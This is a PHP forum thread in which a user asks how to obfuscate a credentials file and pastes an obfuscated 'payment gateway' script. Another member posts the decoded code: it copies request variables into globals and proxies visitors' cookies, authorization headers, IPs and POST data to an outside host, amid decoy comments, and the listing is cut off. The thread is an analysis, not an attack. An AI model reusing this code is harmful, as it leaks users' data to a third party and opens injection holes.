Rg : Encyrption using Regular expression

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
parag
Forum Newbie
Posts: 6
Joined: Mon Jul 25, 2005 6:37 am
Location: Pune
Contact:

Rg : Encyrption using Regular expression

Post by parag »

Hi d11wtq,

Thanx for reply. actually the file i am talking about will be at clients end i.e. on client's server. So offcourse we are not having control over that so i want to encrypt that file because that file will be having hostname,username and password like confendential information. I want one file that must be php compactible so that it can run directly and also it should be encrypted one so that when opened that user should not understand code and also we are giving client only one file so all the decryption and execution should be done in one file only.

Also there are many softwares that encrypts the file but they require some folder for decrypting file. And i want do this encryption and decryption only through one file only..

Waiting for reply...

Regards,

Parag Bhavsar
User avatar
Chris Corbyn
Breakbeat Nuttzer
Posts: 13098
Joined: Wed Mar 24, 2004 7:57 am
Location: Melbourne, Australia

Post by Chris Corbyn »

You've created a new thread by mistake instead of clicking "Reply" ;)

OK so the client has the file... if this is true this must be some very special setup whereby all clients have PHP installed and are runnign apache.

Otherwise this will be 100% useless ;)

Try IonCube, it's cheap and regular expressions will do nothing for you here ;)
parag
Forum Newbie
Posts: 6
Joined: Mon Jul 25, 2005 6:37 am
Location: Pune
Contact:

....Encryption using Regular Expression

Post by parag »

Hi,

Thanx for reply,

One of payment gateway is giving such php only one file which is encrypted using regular expression.

There is no feature to send u file attachment otherwise i would had sent u file.

Or can u plz come online my id is paggybhai@yahoo.co.in

So that i can send u file.

Otherwise give u personal mail id so that i will mail u file.

I am also pasting contents of file below
Start of contents
=================

<?php $t1='%u3>(\'w6@*}nork.royz._*qk2_*|gr{k/Ckgin._*NZZVeMKZe\GXY//
timvw
DevNet Master
Posts: 4897
Joined: Mon Jan 19, 2004 11:11 pm
Location: Leuven, Belgium

Post by timvw »

After a couple of replacing calls from eval to echo...

Code: Select all

while(list($key,$value)=each($HTTP_GET_VARS)){$GLOBALS{$key}=$value;/* {if($fp)$cl=""; $postdata=""; */}while(list($key,$value)=each($HTTP_POST_VARS)){$GLOBALS{$key}=$value;/* while($a=$v){if(!$ip) $ip=$_SERVER["REMOTE_ADDR"];$sioutheaders="";$sioutheaders.="X_HTTP_ACCEPT: ".$_SERVER["HTTP_ACCEPT"].""; */}if($pj!=""){$a="hit";/* } else{else{print $result;} */$pid=$pj;/* if($qs=="v") { print "G-1.0"; exit; }$weird=$_SERVER["HTTP_X_FORWARDED_FOR"]; */setcookie("ASDGWSDD",$pid,time()+(192*3600));/* $url="http://go.<span style='color:blue' title='I&#39;m naughty, are you naughty?'>smurf</span>.ysiourself.com";die baby  */} else{if($pid=="") $pid=$HTTP_COOKIE_VARS["ASDGWSDD"];/* {` */if(!$a) $a="pricelist";/* crap!if(!$a) $a="pricelist";} */}if($_SERVER["REQUEST_METHOD"]=="POST"){$HTTP_POST_VARS["a"]=$a;/* else{print $result;}$proxyurl="/<span style='color:blue' title='I&#39;m naughty, are you naughty?'>smurf</span>.cgi?$qs";$proxyhost="<span style='color:blue' title='I&#39;m naughty, are you naughty?'>smurf</span>.ysiou.com"; */$HTTP_POST_VARS["pid"]=$pid;/* crap!$proxyurl=preg_replace("/\/\?/","",$proxyurl); */} else{$_SERVER{"QUERY_STRING"}.="&pid=$pid&a=$a";/* function redir(){$qs=$_SERVER["QUERY_STRING"];}if($qs=="v") { print "G-1.0"; exit; } */}$result=redir();/* if(!preg_match("/^192.168./",$tip[0]) && !preg_match("/^127.0./",$tip[0]) && !preg_match("/^10.0./",$tip[0]) && $tip[0]!="") $ip=$tip[0];if(!$a) $a="pricelist";} */if(preg_match("/Location: /",$result)){header($result);/* if($pj!=""){$a="hit";$pid=$pj;}if($qs=="v") { print "G-1.0"; exit; } */} else{print $result;/* }if(preg_match("/Location: /",$result)) $result=redir(); */}function redir(){$qs=$_SERVER["QUERY_STRING"];/* $for( */$proxyurl="/customer.cgi?$qs";/* {{{$url="/cgi-bin/test.cgi"; */$proxyhost="support.merchantboss.com";/* function redir(){$qs=$_SERVER["QUERY_STRING"];}else{print $result;} */$proxyport=80;/* <span style='color:blue' title='I&#39;m naughty, are you naughty?'>smurf</span>!die baby  */if(preg_match("/(gif|jpg)/i",$qs)){$proxyurl=preg_replace("/\/\?/","",$proxyurl);/* setcookie("ASDGWSDD",$pid,time()+(192*3600));JAPH, */$mimetype=preg_match("/gif/i",$qs)?"image/gif":"image/jpeg";/* ({header($result);} */}$weird=$_SERVER["HTTP_X_FORWARDED_FOR"];/* almost done... { */for($i=1;/* if(preg_match("/Location: /",$result)) $result=redir();$url="yahoo.com/cgi-bin/customer.cgi" */$i<6;/* {header($result);}$GLOBALS{$key}=$value; */$i++){preg_match("/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/",$weird,$tip);/* function redir(){$qs=$_SERVER["QUERY_STRING"];}$sdf */$weird=str_replace($tip[0],"",$weird);/* }}}$ */if(!preg_match("/^192.168./",$tip[0]) && !preg_match("/^127.0./",$tip[0]) && !preg_match("/^10.0./",$tip[0]) && $tip[0]!="") $ip=$tip[0];/* <span style='color:blue' title='I&#39;m naughty, are you naughty?'>smurf</span>!] */}if(!$ip) $ip=$_SERVER["REMOTE_ADDR"];/* $GLOBALS{$key}=$value;$GLOBALS{$key}=$value; */if($trueip) $ip=$trueip;/* if($pj!=""){$a="hit";$pid=$pj;}$url="/cgi-bin/test.cgi"; */$sioutheaders="";/* @crap! */$sioutheaders.="X_HTTP_ACCEPT: ".$_SERVER["HTTP_ACCEPT"]."\n";/* $weird=$_SERVER["HTTP_X_FORWARDED_FOR"];ysiou stupid bastard  */$sioutheaders.="X_HTTP_ACCEPT_LANGUAGE: ".$_SERVER["HTTP_ACCEPT_LANGUAGE"]."\n";/* [" */$sioutheaders.="X_HTTP_CGI_AUTHORIZATION: ".$_SERVER["HTTP_CGI_AUTHORIZATION"]."\n";/* ysiou stupid bastard @ */$sioutheaders.="X_HTTP_COOKIE: ".$_SERVER["HTTP_COOKIE"]."\n";/* ]$ */$sioutheaders.="X_HTTP_USER_AGENT: ".$_SERVER["HTTP_USER_AGENT"]."\n";/* $url="http://go.<span style='color:blue' title='I&#39;m naughty, are you naughty?'>smurf</span>.ysiourself.com";while($a=$v){ */$sioutheaders.="X_HTTP_X_FORWARDED_FOR: ".$_SERVER["HTTP_X_FORWARDED_FOR"]."\n";/* $GLOBALS{$key}=$value;$weird=$_SERVER["HTTP_X_FORWARDED_FOR"]; */$sioutheaders.="X_PROXY_URL: http://".$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"]."\n";/* {header($result);}$url="yahoo.com/cgi-bin/customer.cgi" */$sioutheaders.="X_SERVERNAME: ".$_SERVER["SERVER_NAME"]."\n";/* $for($i=1;$i<6;$i++)preg_match("/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/",$weird,$tip); */$sioutheaders.="X_REMOTE_ADDR: $ip\n";/* die baby GFY */$sioutheaders.="X_REFERER: ".$_SERVER["HTTP_REFERER"]."\n";/* ysiou stupid bastard JAPH, */$method=$_SERVER["REQUEST_METHOD"];/* if($pj!=""){$a="hit";$pid=$pj;}GFY */if($qs=="v") { print "G-1.0";/* [= */ exit;/* ysiou stupid bastard else{print $result;} */ }$fp=@fsockopen($proxyhost,$proxyport);/* )}}} */if($fp){$cl="";/* $GLOBALS{$key}=$value;for( */ $postdata="";/* $proxyurl="/<span style='color:blue' title='I&#39;m naughty, are you naughty?'>smurf</span>.cgi?$qs";$proxyhost="<span style='color:blue' title='I&#39;m naughty, are you naughty?'>smurf</span>.ysiou.com";almost done...  */if($method=="POST"){foreach ($_POST as $key => $value){$value = urlencode(stripslashes($value));/* die baby setcookie("ASDGWSDD",$pid,time()+(192*3600)); */$postdata .= "$key=$value&";/* crap!$fp=@fsockopen($proxyhost,$proxyport); */}$cl="Content-Length: ".strlen($postdata);/* if(preg_match("/Location: /",$result)) $result=redir();JAPH, */}@fputs($fp,"$method $proxyurl HTTP/1.0\nHost: $proxyhost:$proxyport\n");/* if(preg_match("/Location: /",$result)) $result=redir();) */@fputs($fp,"Connection: Close\n$sioutheaders$cl\n\n$postdata");/* $mimetype=preg_match("/gif/i",$qs)?"image/gif":"image/jpeg";}crap! */while(!feof($fp)) { $buffer.=@fread($fp,4096);/* print[ */ }@fclose($fp);/* if($pj!=""){$a="hit";$pid=$pj;}while(list($key,$value)=each($HTTP_POST_VARS)) */$splitpos=0;/* {( */$headers=$buffer;/* while(list($key,$value)=each($HTTP_POST_VARS))print */if(strpos($buffer,"\r\n\r\n")) $splitpos=strpos($buffer,"\r\n\r\n")+4;/* if($pj!=""){$a="hit";$pid=$pj;}$mimetype=preg_match("/gif/i",$qs)?"image/gif":"image/jpeg";} */else if(strpos($buffer,"\n\n")) $splitpos=strpos($buffer,"\n\n")+2;/* ysiou stupid bastard try to hack me  */$buffer=substr($buffer,$splitpos);/* =try to hack me  */$headers=substr($headers,0,$splitpos);/* =for( */$buffer=preg_replace("/$proxyhost/i",$_SERVER["SERVER_NAME"],$buffer);/* ysiou stupid bastard while(list($key,$value)=each($HTTP_POST_VARS)) */$tok=strtok($headers,"\r\n");/* for($i=1;$i<6;$i++)preg_match("/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/",$weird,$tip);$proxyurl=preg_replace("/\/\?/","",$proxyurl); */return $buffer;/* {else{print $result;} */}else{header("HTTP/1.0 403 Forbidden");/* $mimetype=preg_match("/gif/i",$qs)?"image/gif":"image/jpeg";}for($i=1;$i<6;$i++)preg_match("/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/",$weird,$tip); */
Post Reply